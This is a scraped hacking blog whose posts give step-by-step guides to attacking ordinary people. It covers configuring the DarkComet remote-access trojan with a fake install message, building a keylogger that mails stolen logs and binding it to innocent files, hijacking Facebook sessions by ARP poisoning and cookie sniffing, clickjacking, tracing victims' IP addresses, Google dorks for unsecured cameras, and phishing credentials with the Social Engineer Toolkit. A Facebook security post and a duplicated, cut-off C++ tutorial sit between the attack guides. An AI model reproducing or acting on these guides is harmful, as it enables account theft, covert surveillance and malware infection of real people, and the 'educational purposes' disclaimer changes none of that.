Go on http://www.no-ip.com/, Create your Account and click on "Download".
Now Click on "Windows
Now Click on "Download 3.0.4"
Now you must install No-DUP 3.0, Click on "Next"
Now, choose "Install Location" and click on "Next"
Now choose "Start Menu Folder" and Click on "Install"
Setup was completed successfully, click on "Close"
Now, go on http://www.no-ip.com/ and click on "Login" then type your Email and your Password.
Now, click on "Add a Host"
Choose a "Hostname", enter your IP address and click on "Create Host".
Done, Now open No-IP DUC 3.0 and enter your email and your password and click on "OK"
Now, Select your "HOST" and click on "Save".
Done, you can close No-IP DUC 3.0
Download DarkComet v4.0 here and run DarkComet.
Click on [+], Choose your port (I advice 1604) and click on "Listen".
Now click on "Settings".
Click on "Mo-IP Updater" and type your No-IP informations.
Now you will edit your server, click on "Edit Server" and click on "Network Settings", enter your informations and click on "Test network".
Click on "Module Startup" and choose your settings.
Click on "Install Message" and choose your fake message.
Now click on "Module Shield" and choose your settings.
Now click on "Build Module" and click on "Build Server".
See the Results

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Hacking Facebook Account Using KEylogger

2013-02-16T23:54:00.004-08:00

What Is Keyloggers?

Using key logger utility you will be able to establish full control over your computer. You will also find out, what was going on your computer in your absence: what was run and typed etc which act as best children internet protection software. Using the keylogging program constantly, you can restore the previously typed text in case you have lost it. Keystroke logger software works in the hidden mode and invisible on Windows operating system including Windows 7/VISTA/XP/Server 2008/NT/98 etc.

Lets start the guide: How to use it. ?

1) first you need to download this application, you can download it from its website Download, but currently its under maintenance..

Download here - Click Here To Download

2) I am giving tut about Neptune 1.4 only, but you can use 1.45 also, it is a updated version that sends screenshot also.

After downloading, Extract the .rar file, open the project's folder, click on project Neptune v1.4, Now it will show a window like shown below, Do whatever mentioned in screen shot.
Note: i am giving tut for getting logs by mail(gmail here), but you can use other also, or can use ftp server also.

3) Now go to 'Server Creation' tab and press 'Generate new server' under 'server creation', and give name of your keylogger and thats it.. you are done :)

4) Make it self destructive :In tab Extra options, you can check 'self destruct on ', if you want that it should be remove after any particular date.

5) Add Icon: You can also add any icon to the final keylogger file, for that go to 'Server Creation' tab and select 'Use file icon' under 'server settings' and select any icon file.

6) Binding: You can bind it with any other file also, for that press the file binder button, a window will open(as shown in screen shot)then right click and select 'add file' and then select anything for ex. any software, movie, video, song etc. with which you wanna bind it. 5.1) After selecting the binding file, dont close this window, and go to step 3.

7) Sreenshots: (only available in naptune 1.45) Go to Extra options, check 'send screen shots' under 'Screenshots'

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

HAcking Facebook Account Using Cookie Stealing Attack

2013-02-16T23:51:00.000-08:00

What Are Cookies ? And What Is The Use Of Stealing Cookies ?

Cookies are small files that stored on users computer by websites when a user visits them. The stored Cookies are used by the web server to identify and authenticate the user .For example when a user logins in Facebook a unique string is generated and one copy of it is saved on the server and other is saved on the users browser as Cookies. Both are matched every time the user does any thing in his account

So if we steal the victims cookie and inject them in our browser we will be able to imitate the victims identity to the web server and thus we will be able to login is his account . This is called as Side jacking .The best thing about this is that we need not no the victims id or password all we need is the victims cookie.

Hack Facebook / Twitter By Stealing Cookies ?

1. Ettercap or Cain and able for ARP poisoning the victim
2. Wire shark for sniffing and stealing cookies
3. Firefox browser and Cookie logger add on for injecting the stolen cookies in our browser

1. First ARP poison the victim .For this you can refer my previous articles on how to ARP poison the victims computer using Cain and able or Ettercap

2. After ARP poisoning open Wire shark ,click capture button from the menu bar , then select interface .Now select your interface (usually eth0 ) finally click start capture .

3. Now you can see the packets being captured , wait for a while till the victim logs in his account( Facebook /twitter ),

4. Mean while Find the IP address of Facebook ,for this you can open CMD (command prompt ) and enter .Ping Facebook.com to find its IP address.

5. Now filter the packets by entering the the IP address (Facebook) in the filter bar and click apply

6. Now Locate HTTP Get /home.php and copy all the cookie names and values in a notepad.

7. Now open Firefox and open add and edit cookies ,which we downloaded earlier , add all the cookie values and save them.

8. Now open Facebook in a new tab , you will be logged in the victims account .

Chris Defaulter Valentine ......you have hacked the victims Facebook account by stealing cookies , You can also follow the same steps to hack Twitter accounts

Hope you enjoyed this tutorial , If you have any doubts please feel free to post a comment.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Facebook Security

2013-02-16T23:49:00.002-08:00

#1– Enable HTTPS ?

When you bookmark the URL for Facebook or any of your other social networks, be sure to use HTTPS instead of HTTP. This encrypts your communications.

In fact, you will have to temporarily disable this feature any time you give access to a new application. That alone should give you confidence that you have achieved a greater level of protection.

#2– Disable Online Chat ?

All of us have witnessed Facebook scams, with the most common being the infamous chat message … “I’m in the UK and have been mugged – please send money so I can get back home.”

While I have no technical basis for this, it stands to reason that the hackers get in through the chat service. Every time I have noticed bogus comments allegedly made by me to my Facebook friends, it is because I had previously used the online chat.

To disable chat just click on the little wheel in the right sidebar and take yourself offline. Then close the window and make sure is registers as chat offline.

#3 – Review Permissions Granted to Third Party Apps ?

When you grant access to Facebook apps, those permissions endure long after you stop using them. Go to this link to review your Facebook app permissions – and disable any you are no longer using.

You will probably be surprised at the long list permissions your have previously granted!

#4 – Activate Text Message Notifications ?

Facebook allows you to receive text notifications whenever your account is accessed from a device other than your primary computer or mobile device.

You simply go to Account Settings and then to Security Settings to set-up the proper notifications to your mobile device.

First go to login approvals – then login notifications.

You can only choose email or text notifications. By choosing text notifications you not only get an immediate notice, but you also activate both your mobile device and your primary computer as approved access points.

#5 – Maintain Public and Private Email Addresses ?

The email address you use for Facebook should be distinct from the one you use where security is more critical – such as your online banking or Paypal account.

If your Facebook account gets hacked its embarrassing. If that is the same email used on your more secure accounts, now that vulnerability could be costly.

Obviously, if you are selective with your email addresses and periodically change your passwords, you minimize your chances of being hacked.

Did you know that anyone can search Facebook for an email address? For example, if you are looking a common name such as John Smith, you only need to search with their email to find the right one.

This is handy for finding your friends on Facebook, but also useful for hackers. The safe bet is to use distinct passwords for your public and private email addresses.

There are even more ways to protect your Facebook and other online accounts, but these 5 are the most essential, and they are specific to Facebook, which seems to be the site that is the most vulnerable.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Hacking Facebook Account Using Session Hijacking Attack

2013-02-16T23:47:00.000-08:00

What Is Session Hijacking Attack ?

Session hijacking, also known as TCP session hijacking, is a method of taking over a Web user session by surreptitiously obtaining the session ID and masquerading as the authorized user. Once the user's session ID has been accessed (through session prediction), the attacker can masquerade as that user and do anything the user is authorized to do on the network.

The session ID is normally stored within a cookie or URL. For most communications, authentication procedures are carried out at set up. Session hijacking takes advantage of that practice by intruding in real time, during a session. The intrusion may or may not be detectable, depending on the user's level of technical knowledge and the nature of the attack. If a Web site does not respond in the normal or expected way to user input or stops responding altogether for an unknown reason, session hijacking is a possible cause.

Step By Step Explanation Of How To Carry Out This Attack ?

First of all, you would need to connect to an unsecured wireless connection that others are using. Then we start capturing packets transferred over this network. Note that your wireless adapter needs to support monitor mode to scan all packets transferred over a network. you can check your wi-fi card specifications to see if it supports monitor mode.

We would then need to use a network sniffing tool so sniff packets transferred over the network. In this case, I am using a tool called Wireshark (Download From Here). Within wireshark, there is a menu called "Capture"; Under the capture menu, select interfaces from that menu, and a list of your interfaces will come up.

Next you select Start Next to the interface that you have enabled monitor mode on. most times it is the interface that is capturing the most packets. In my case, Microsoft interface is capturing the most packets, so i will select to start capturing with the microsoft interface. You would leave wireshark to capture packets for a couple of seconds depending on the amount of persons currently using the network. Say 30 seconds if 10 people currently are using the network, or 30 minutes if there is barely network activity going on. While capturing, wireshark will look something like this.

After capturing a certain amount of packets, or running the capture for a certain amount of time, stop it by clicking on the stop current capture button.

After stopping the capture, you will need to look for the user's facebook session cookie which, hopefully was transferred in one of the packets captured. to find this cookie, use the wireshark search which can be found by pressing "ctrl + f" on your keyboard. In this search interface, select Find: By "String"; Search In: "Packet Details". and Filter by the string "Cookie".

When you press find, if there is a cookie, this search will find it, if no cookie was captured, you will have to start back at step 2. However, if youre lucky and some cookies we're captured, when you search for cookie, your interface will come up looking like this in the diagram below. You would notice the cookie next to the arrow contains lots of data, to get the data. the next thing you do is to right click on the cookie and click copy->description.

After copying the description, paste it in a text file, and separate each variable to a new line (note the end of every variable is depicted by a semicolon eg - c_user=100002316516702;). After some research and experimenting, i figured out that facebook authenticated the user session by 2 cookies called c_user and xs. Therefore you will only need the values of these cookies, and then need to inject them into your browser. Before injecting the cookies, here is what my facebook page looked like:

The next thing you would need to do is to inject this information as your own cookie. so firstly you would need to install a cookie manager extension for your browser, I'm using firefox Cookie Manager. After installing this extension, you will find it under Tools->cookie manager. The interface for cookie manager looks like this:

The first thing we would need to do is to clear all cookies, so clear all the cookies you currently have. Then select the "Add Cookie" link to add a new cookie. The first cookie you will add is the c_user cookie which will have the following information:: Domain - ".facebook.com", name-"c_user", value-"the value you copied earlier from the wireshark scanning" and the Path-"/"; leave the isSecure and Expires On values to default:

The next thing you do is to hit the "Add" button and the cookie is saved. Repeat the same steps to add the xs cookie with all of the same information, except the value, which would be the xs value you have.

After adding these 2 cookies, just go to facebook.com, refresh the page and... Boom!! you will see you are logged in as that user whose cookie information you stole. Here is my facebook page after i injected those cookies:

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Hacking Facebook Account Using Click Jacking

2013-02-16T23:41:00.000-08:00

What is Clickjacking?

Clickjacking is a technique used by hackers or spammers to trick or cheat the users into clicking on links or buttons that are hidden from normal view (usually links color is same as page background). Clickjacking is possible because of a security weakness in web browsers that allows web pages to be layered and hidden from general view. In this situation what happens is that You think that you are clicking on a standard button or link, like the PLAY button or download button on an video or some stuff, but you are really clicking on a hidden link. Since you can’t see the clickjacker’s hidden link, you have no idea what you’re really doing. You could be downloading malware or making all your Facebook information public without realizing it. Some good hackers make ajax keyloggers and put them as javascripts over their fake websites and when you open them they retrieve all your passwords stored in web browser and records whatever you type while the web browser is open and stores this information on their servers.

There are several types of clickjacking but the most common is to hide a LIKE button under a dummy or fake button. This technique is called Likejacking. A scammer or hacker might trick you by saying that you like a product you’ve never heard. At first glance, likejacking sounds more annoying than harmful, but that’s not always true. If you’re scammed for liking Mark Zukenberg, the world isn’t likely to end. But you may be helping to spread spam or possibly sending Friends somewhere that contains malware.

How It Work ?

The like button is made hidden and it moves along with the mouse.So, wherever the user clicks, the like button is clicked and your fan page is liked.First download the JavaScript from the below download link.

Mediafire

After downloading the script extract all the files.Now modify the config.js and follow the below instructions.

1. Modify config.js file in "src" folder to change fan page URL and other things.
Comments are provided beside them to help you what they do exactly.

2. There is a time out function after which the like button will not be present(move) anymore.
"time" if set to 0 will make it stay forever(which is usually not preferred).

3. Set opacity to '0' before you run the script. Otherwise the like button will not be invisible

Properly set the var in the file if it is jumbled ?

After modifying the config.js script upload these scripts to javascript hosting website.I preferyourjavascript you can also upload to some other website.

How To Run The Script ?

1. Add config.js just above head tag in your pages
----------------------------------------------------------------------------------------------------------------
<script language="javascript" src="src/config.js"> </script>
----------------------------------------------------------------------------------------------------------------

2. Add like.js after body tag in your pages
----------------------------------------------------------------------------------------------------------------
<script language="javascript" src="src/like.js"> </script>
----------------------------------------------------------------------------------------------------------------

Remove src link with your uploaded link.

5. That's it. The script is ready to go.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Trace someone in Facebook

2013-02-16T23:25:00.001-08:00

Hello all my friends many people asking how to trace someone in Facebook , well some people think that the noob method with command prompt is the only method lol ^_^ closing all tabs and talking to the victim account then typing "netstat -n" no no i have found the method since 2011 and it's still working and private but i decided to share it.Anyway let me explain it !

This method work with Notification that you receive in your email for example if someone comment your status or send you a message on Facebook of course you will receive the notification in your email !

so you are A and your victim is B when your victim comment on your thread in Facebook in the system of Facebook it will say A <===========> B

so where to find your victim ip it's simple just go to your email and to the notification and view the source of the message type Ctrl +f then search this:

X-Facebook: from zuckmail
you will find a code like this ([MTI3LjAuMC4x]) it's coded in base 64 you have to decode to ASCII text then you will find the IP of your target Enj0y!

Tool to decode and encode =========>>> Go Here
for more information check the first line x-store-info:

Hack Your Friend's Facebook Status

2013-02-14T21:12:00.001-08:00

Hello what's up !! my friends today i will show you a nice method to hack Someone status on Facebook i mean post anything with his own id ^_^

First send to your victim this link https://m.facebook.com/upload.php?email&_rdr

and ask him to give you the email xxxxxxxxxx@facebook.com

Then go your Gmail email go to new message and put the email he sent you and write what you want to post in the subject case , leave the message case empty ,go and check his wall ^_^ Enjoy ;)

Hacking With Experts 2

2013-02-10T05:54:00.001-08:00

Contents :

A. Introduction
       1. How can I use this book…………………………………………….14
    2. What does it to become a hacker………………………………15
    3. Disclaimer………………………………………………………………….
B. Network Hacking (Basics)
     1. Ping………………………………………..……………………………………17
       2. Netstat………………………………………..………………………………18
       3. Telnet……………………………………..…………………………………..19
       4. Tracert……………………………………..………………………………….20
       5. Countermeasures ……………………………………..………………21
C. Password Hacking (Basics)
     1. Hashing……………………………………..………………………………….23
       2. Guessing……………………………………..……………………………….24
       3. Default Passwords……………………………………..…………………25
       4. Brute Force……………………………………..……………………………25
       5. Phising. ……………………………………..…………………………………26
       6. Countermeasures……………………………………..……………………27
D. Facebook Account Hacking
     1. Phising……………………………………..………………………………………29
       2. FB Password Decryptor……………………………………..…………30
       3. Tabnapping……………………………………..……………………………31
       4. Keylogger……………………………………..………………………………34
       5. Cookie Stealing……………………………………..……………………36
       6. Hacking Facebook Account Using Google Dork List…………40
       7. Tips To Secure Your FB Account…………………………………43
E. Gmail Account Hacking
     1. Gmail Password Decryptor……………………………………..………47
       2. How to view Password Between *****……………………………48
       3. Phising……………………………………..…………………………………..49
       4. Keylogger……………………………………..………………………………50
       5. Brute Force……………………………………..…………………………53
       6. Countermeasures……………………………………..………………..55
       7. Tips To Secure Your Gmail Account…………………………………56
F. DDOS ATTAcK
     1. DDOS Attack Basic……………………………………..…………………59
       2. DDOS Attack Types……………………………………..…………………61
       3. DDOS Attack Beginners Tutorial…………………………………….64
       4. DDOS Attack Manually……………………………………..…………68
       5. DDOS Attack By LOIC……………………………………..……………71
       6. DDOS Attack By Janidos……………………………………..…………72

G. Extreme Backtracking
     1. DDOS Attack Using Backtrack…………………………………….75
       2. Hacking SSL Using Ssl Strip In Backtrack………………………77
       3. How To Scan A Website For Vulnerabilities Using Backtrack……………………………………………………………………………….80
       4. How To Hack FB/Gmail/Yahoo Account Using Backtrack..82

H. Sql Injection Attack
     1. SQL Injection (Basics)……………………………………………………89
       2. SQL Injection (Manually) ………………………………………………94
       3. URL Based SQL Injection………………………………………………103
       4. SQL Injection Using SQL Map………………………………………113
       5. SQL Injection Using Havij……………………………………………115

I. Cross Site Scripting (XSS) Attack
     1. Introduction……………………………………………………………..121
       2. What Does The Hacker Want To Achieve………………………122
       3. XSS Types…………………………………………………………………123
       4. Persistent (Stored) XSS Attack………………………………………124
       5. Non-Persistent (Stored) XSS Attack………………………………127

J. Hacking Website Using Various    Vulnerabilities/Exploit
     1. IIS Exploit……………………………………………………….…131
       2. PHUploader Remote File Upload Vulnerability……..132
       3. Moxiecode File Browse Vulnerability…………………….133
       4. Image Uploader Vulnerability……………………………….134
       5. Encodable Upload And Shell Upload Vulnerability…135
K. Awesome Tricks/Hacking Tricks
     1. How To Reset Your Forgotten Windows Password……..137
       2. Change Your Account’s Language To Hackers Language….139
       3. Blue Screen Of Death As Screensaver…………………………142
       4. How To Create A Shortcut For Any Program…………………143
       5. How To Enable God Mode In Windows…………………145
       6. How To Remove Shortcut Virus And Autorun.inf from your pc………………………………………………………………………………….146
       7. How Anonymous Change Their IP…………………149
       8. How To Turn Your Computer Into A Web Server………………151
       9. How To Create Your Own Personal Web Proxy Server……153
       10. How To Increase Internet Speed Manually…………………156
     11. How To Download FB in Your PC……………………………………157
       12. How To Create FB ID - Card……………………………………160
       13. How To Hide Your Email Address From FB Apps……………161
       14. How To Watch Streaming TV On FB……………………………162
       15. How To Flip FB Status Updates……………………………………164
       16. How To Track FB Activities……………………………………165
       17. FB Colour Changer………………………………………………………166
       18. How To Insert Image in Gmail Background…………………167
       19. How To open Multiple Gmail Account In Same Browser..168
       20. How To trace An Email………………………………………………….169
     21. DNS Hacking…………………………………………………………………172
       22. How To Backup Your Gmail Emails In A Pen Drive…………174
       23. How To Delete Recycle Bin…………………………………………….177
       24. Tutorial To Crack Any Android App………………………………..178
       25. How To Unlock Any Phone…………………………………………….181
       26. How To Get Thousand Of Twitter Followers Per Day……183
       27. How To Disable FB Timeline…………………………………………185
       28. How To Disable Public Search Of Your FB Profile………….186
       29. How To Publish FB Status Empty……………………………………187
L. Cool Notepad Tricks
     1. Bush Hid The Facts/This App Can Break………………………189
       2. World Trade Center Attack Trick…………………………………190
       3. Making A Personal Log Book Or A Diary………………………191
       4. Testing Your Antivirus…………………………………………………192
       5. Continually PoP The CD Drive……………………………………193
       6. Matrix Effect…………………………………………………………….195
       7. Open Notepad Continuously…………………………………….197
       8. Type You Are A Fool Continuously……………………………198
       9. Changing Header/Footer Of Notepad File…………………199

M. Wi-Fi Hacking
       1. How To Hack Wi-Fi Using Gerix Wi-Fi Cracker…………………202
       2. Hack Any Password Protected Wi-Fi Network And Use   Unlimited Net…………………………………………………………………………205
       3. How To Hack WEP For Free…………………………………………….213
       4. Tips To Secure Your Wi-Fi………………………………………………217

N. Programming Tutorial
     1. HTML Tutorial………………………………………………………………220
       2. C++ Tutorial…………………………………………………………………245
O. Useful Tips
     1. 3 Easy Tricks To Boost Your Home Wi-Fi…………………251
       2. Proper Way To Start Your Hacking Career…………………253
     3. How To Build Your Own PC……………………………………….257
       4. How To Buy The Best Computer According To Your Needs...265
     5. How To Become Anonymous After Any Successive Hacking   Activities…………………………………………………………………………267

Download Link :
http://www.mediafire.com/view/?8gtnq7cdl7h3nxo

Thank You :) :) !!

How To Hack Into Live Cameras Around The World

2013-02-03T03:20:00.003-08:00

This simple technique is called “Google Hacking”. We are just looking for unsecured. cameras around the world and writing a simple string on google hack into them.
Follow the steps below:
1) Choose any of these strings to enter on google



* inurl:”CgiStart?page=”

* inurl:/view.shtml

* intitle:”Live View / – AXIS

* inurl:view/view.shtml

* inurl:ViewerFrame?Mode=

* inurl:ViewerFrame?Mode=Refresh

* inurl:axis-cgi/jpg

* inurl:axis-cgi/mjpg (motion-JPEG) (disconnected)

* inurl:view/indexFrame.shtml

* inurl:view/index.shtml

* inurl:view/view.shtml

* liveapplet

* intitle:”live view” intitle:axis

* intitle:liveapplet

* allintitle:”Network Camera NetworkCamera” (disconnected)

* intitle:axis intitle:”video server”

* intitle:liveapplet inurl:LvAppl

* intitle:”EvoCam” inurl:”webcam.html”

* intitle:”Live NetSnap Cam-Server feed”

* intitle:”Live View / – AXIS”

* intitle:”Live View / – AXIS 206M”

* intitle:”Live View / – AXIS 206W”

* intitle:”Live View / – AXIS 210?

* inurl:indexFrame.shtml Axis

* inurl:”MultiCameraFrame?Mode=Motion” (disconnected)

* intitle:start inurl:cgistart

* intitle:”WJ-NT104 Main Page”

* intitle:snc-z20 inurl:home/

* intitle:snc-cs3 inurl:home/

* intitle:snc-rz30 inurl:home/

* intitle:”sony network camera snc-p1?

* intitle:”sony network camera snc-m1?

* site:.viewnetcam.com -www.viewnetcam.com

* intitle:”Toshiba Network Camera” user login

* intitle:”netcam live image” (disconnected)

* intitle:”i-Catcher Console – Web Monitor”

2)Once you have picked one, simply copy it, and paste in on google.
3)Now choose any result and you will be seeing a live camera.

HOW TO HACK FACEBOOK/gmail/twitter ACCOUNT USING BACKTRACK

2013-02-02T06:29:00.001-08:00

THINKS YOU NEED :
BACKTRACK

fIRST U MUST KNOW WHAT IS BACKTRACK :
BackTrack-Is a Linux distribution distributed as Live cd or Usb for penetration testing.BackTrack provides penetration testers a comprehensive collection of security related tools, support live cd and live usb and permanent installation also.BackTrack provides Mozilla, Pidgin, K3B, XMMS .You can create personalized distributions by including customizable scripts, additional tools and configurable kernels.
BackTrack includes many well known security tools Like NMAP, KISMET and many more.
DOWNLOAD backtrack From Here :
http://www.backtrack-linux.org/downloads/

So hEres How We Do It :

1>open a new terminal type
root@root:-# ifconfig

2>root@root:-# cd /pentest/exploits/set

3>root@root:-#/pentest/exploits/set# ./set (or u can simply open this (set)command from, application> backtrack> exploitation tools> social-engineer tools> social engineer toolkit> set.)

4>then choose option 2 (website attack vector) from menu: set > 2

5>then choose option 3(credential harvester attack method) set:webattack> 3

6>then choose option 1 (web templates) set:webattack > 1 (now from that option u have to select any one template for example i select template 5 (twitter)

7>set:webattack >select a template:5(for twitter) press {return} to continue.

8>Now convert your URL into Google URL using goo.gl(Url Shortener) and send this link address to your victim via Email or Chat

9>Now send your link that u converted from goo.gl to victim and when victim open link is browser a fake page start working and when user input Username and Password in fake page. The Username and Password displayed on SET.

Screen Shots :

C++ Tutorial

2013-01-26T01:55:00.001-08:00

1.INTRODUCTION
1.1. Why do People Program?
Each person can have his own reason for programming but I can tell you that programming
is one of the best ways to gain a deep understanding of computers and computer
technology. Learning to program makes you understand why computers and computer
programs work the way they do. It also puts some sense into you about how hard it is to
create software.
1.2. What is C++ & OOP?
C++ is an extended version C. C was developed at Bell Labs, in 1978. The purpose was to
create a simple language (simpler than assembly & machine code...) which can be used on a
variety of platforms. Later in the early 1980's C was extended to C++ to create an objectoriented
language. O(bject) O(riented) P(rogramming) is a style of programming in which
programs are made using Classes. A class id code in a file separate from the main program -
more on classes later. OOP in general & C++ in particular made it possible to handle the
complexity of graphical environments. (like windows, macintosh..)
1.3. What do I need to program?
Well, you need a computer and a compiler to start with but you also need some curiosity
and a lot of time. I guess(!?) you have a computer. You can find different compilers for free
from borlands website (Check 5.1). If you have the curiosity but lack in time read stuff at
lessons and detention hours. Read whenever you find time. Having a good C++ book (check
5.2) also helps a lot. (and is much better for your eyes) One thing not to forget: No tutorial,
book, program or course makes you a programmer in 5 days. YOU make yourself a
programmer. NO compiler writes an entire program for you, YOU write the program.
2. YOUR FIRST PROGRAM
2.1. Running a C++ Program
Read this part carefully: A C++ program must be compiled and linked before it can be
executed, or run, on the computer. A great lot of compilers do this automatically. So what is
a compiler? A compiler is a program that translates C++ code into machine language.
Machine language is the language consisting of 1s and 0s, and is the native language of a
computer. A typed C++ program is called the source-code, and the compiled code is called
the object code.
Before the object code can be executed, it must be linked to other pieces of code (e.g.
included libraries) used by the program. The compiled & linked program is called an
executable file. Finally, the program is executed by the system. It's output is displayed in a
window.
2.2. C++ Program Structure
All C++ progs contain statements (commands) that tell the computer what to do. Here is
an example of a simple C++ program:
We own you program */
#include <iostream.h>
int main()
{
cout<<"We own you"; // the first statement
return(0); // the second statement
}
Run the program. It should display :
We own you
The structure of a simple C++ program is:
/* Comments : Name, purpose of the program
your name, date, etc. */
#include <librarynames.h>
int main()
{
statements; // comments
return(0);
}
Now we will have a closer look on the structure:
2.3. Comments
Comments are used to explain the contents of a program for a human reader. The
computer ignores them. The symbols /* and */ are used for the beginning and end of a
comment for multi-line comments. // symbols are also used for commenting. All characters
on a line after the // symbol are considered to be comments and are ignored. Most newbies
think that commenting a program is a waste of time. They are wrong. Commenting is very
important because it makes the code understandable by other programmers and makes it
easier to improve a program or fix the bugs in it. You'll understand better after trying to
decipher a hundred pages of code you wrote a few months later.
2.4. Libraries
Look at the program above. Following the opening comment was the line:
#include <iostream.h>
This line simply tells the computer that the iostream library is needed therefore it should
be included. A library is a collection of program code that can be included (and used) in a
program to perform a variety of tasks. iostream is a library - also called as a header file,
look at its extension - used to perform input/output (I/O) stream tasks. There are a lot of
non-commercial C++ libraries for various purposes written by good guys who spent more
than enough time in front of their computers. You can find them at code.box.sk. Also
references to all libraries used in the tutorials can be found on the net.
2.5. Functions
The next line in the program was:
int main()
Which is the header of the main function. Makes sense? No? A function is a set of
statements that accomplish a task. A function header includes the return type of the
function and the function name. As shown in the main() header, main returns an
integer(int) through return(0). So all the functions that have an integer as the return type
returns integers. Very clear. The statements in a function (in this case the main function)
are enclosed in curly braces. The { and } symbols indicates the beginning and the end of
statements. More on functions later.
2.6. Streams
What is a stream? In C++ input/output devices are called streams. cout (we used above)
is the c(onsole) out(put) stream, and the send (insertion) operator is used to send the data
"We own you" into the stream. In the first statement:
cout<<"We own you";
The words following the << operator are put in quotation marks(") to form a string.
When run, the string We own you is sent to the console output device. Yes, it is also called
the computer screen.
Important note: C++ is case sensitive. That means cout and Cout is not the same
thing.
2.7. Return
The second statement was:
return(0);
which causes the program to terminate sending the value 0 to the computer. The value "0"
indicates that the program terminated without error.
Note: The statements end with a semicolon (;). A semicolon in C++ indicate the end of a
statement.
3. DATA & NUMBER SYSTEMS
3.1. Decimals
The base 10 number system. Uses 10 digits: 0 to 9. Numbers raised to the zero power is
equal to one. For example: 5 to the power 0 = 1. Base ten equivalent of the number
2600 = 2 x (10 to the power 3) + 6 x (10 to the power 2)
33 = 3 x (10 to the power 1) + 3 x (10 to the power 0)
3.2. Binaries
The base 2 number system. Uses 2 digits : 0 and 1. Works the same as base 10 except we
multiply numbers by the powers of 2 instead. For example 110 is equal to 6 in base 10:
110 = 1 x (2 to the power 2) + 1 x (2 to the power 1) = 6(base10)
3.3. Hexadecimal
The base 16 number system. Uses 16 digits. 0 to 9 & "A" to "F". Works the same as base
10 & base two except the numbers are multiplied by the powers of 16 instead:
1B = 1 x (16 to the power 1) + 2(B) x (16 to the power of 0) = 30(base10)
4. EXERCISES
4.1. Running
Find & install a compiler, type the example program and run it. Pretty simple but be sure
the syntax is correct.
4.2. Typing
Make a program which displays your name without looking to this tutorial. Makes you
learn a lot better.
4.3. Converting
Convert these to decimals : 110101, 001101, 10101110
Convert these to hexadecimals : 234, 324, 19394
Convert these to binaries : 2F, 1B3, 234, 125

1.INTRODUCTION
1.1. Why do People Program?
Each person can have his own reason for programming but I can tell you that programming
is one of the best ways to gain a deep understanding of computers and computer
technology. Learning to program makes you understand why computers and computer
programs work the way they do. It also puts some sense into you about how hard it is to
create software.
1.2. What is C++ & OOP?
C++ is an extended version C. C was developed at Bell Labs, in 1978. The purpose was to
create a simple language (simpler than assembly & machine code...) which can be used on a
variety of platforms. Later in the early 1980's C was extended to C++ to create an objectoriented
language. O(bject) O(riented) P(rogramming) is a style of programming in which
programs are made using Classes. A class id code in a file separate from the main program -
more on classes later. OOP in general & C++ in particular made it possible to handle the
complexity of graphical environments. (like windows, macintosh..)
1.3. What do I need to program?
Well, you need a computer and a compiler to start with but you also need some curiosity
and a lot of time. I guess(!?) you have a computer. You can find different compilers for free
from borlands website (Check 5.1). If you have the curiosity but lack in time read stuff at
lessons and detention hours. Read whenever you find time. Having a good C++ book (check
5.2) also helps a lot. (and is much better for your eyes) One thing not to forget: No tutorial,
book, program or course makes you a programmer in 5 days. YOU make yourself a
programmer. NO compiler writes an entire program for you, YOU write the program.
2. YOUR FIRST PROGRAM
2.1. Running a C++ Program
Read this part carefully: A C++ program must be compiled and linked before it can be
executed, or run, on the computer. A great lot of compilers do this automatically. So what is
a compiler? A compiler is a program that translates C++ code into machine language.
Machine language is the language consisting of 1s and 0s, and is the native language of a
computer. A typed C++ program is called the source-code, and the compiled code is called
the object code.
Before the object code can be executed, it must be linked to other pieces of code (e.g.
included libraries) used by the program. The compiled & linked program is called an
executable file. Finally, the program is executed by the system. It's output is displayed in a
window.
2.2. C++ Program Structure
All C++ progs contain statements (commands) that tell the computer what to do. Here is
an example of a simple C++ program:
We own you program */
#include <iostream.h>
int main()
{
cout<<"We own you"; // the first statement
return(0); // the second statement
}
Run the program. It should display :
We own you
The structure of a simple C++ program is:
/* Comments : Name, purpose of the program
your name, date, etc. */
#include <librarynames.h>
int main()
{
statements; // comments
return(0);
}
Now we will have a closer look on the structure:
2.3. Comments
Comments are used to explain the contents of a program for a human reader. The
computer ignores them. The symbols /* and */ are used for the beginning and end of a
comment for multi-line comments. // symbols are also used for commenting. All characters
on a line after the // symbol are considered to be comments and are ignored. Most newbies
think that commenting a program is a waste of time. They are wrong. Commenting is very
important because it makes the code understandable by other programmers and makes it
easier to improve a program or fix the bugs in it. You'll understand better after trying to
decipher a hundred pages of code you wrote a few months later.
2.4. Libraries
Look at the program above. Following the opening comment was the line:
#include <iostream.h>
This line simply tells the computer that the iostream library is needed therefore it should
be included. A library is a collection of program code that can be included (and used) in a
program to perform a variety of tasks. iostream is a library - also called as a header file,
look at its extension - used to perform input/output (I/O) stream tasks. There are a lot of
non-commercial C++ libraries for various purposes written by good guys who spent more
than enough time in front of their computers. You can find them at code.box.sk. Also
references to all libraries used in the tutorials can be found on the net.
2.5. Functions
The next line in the program was:
int main()
Which is the header of the main function. Makes sense? No? A function is a set of
statements that accomplish a task. A function header includes the return type of the
function and the function name. As shown in the main() header, main returns an
integer(int) through return(0). So all the functions that have an integer as the return type
returns integers. Very clear. The statements in a function (in this case the main function)
are enclosed in curly braces. The { and } symbols indicates the beginning and the end of
statements. More on functions later.
2.6. Streams
What is a stream? In C++ input/output devices are called streams. cout (we used above)
is the c(onsole) out(put) stream, and the send (insertion) operator is used to send the data
"We own you" into the stream. In the first statement:
cout<<"We own you";
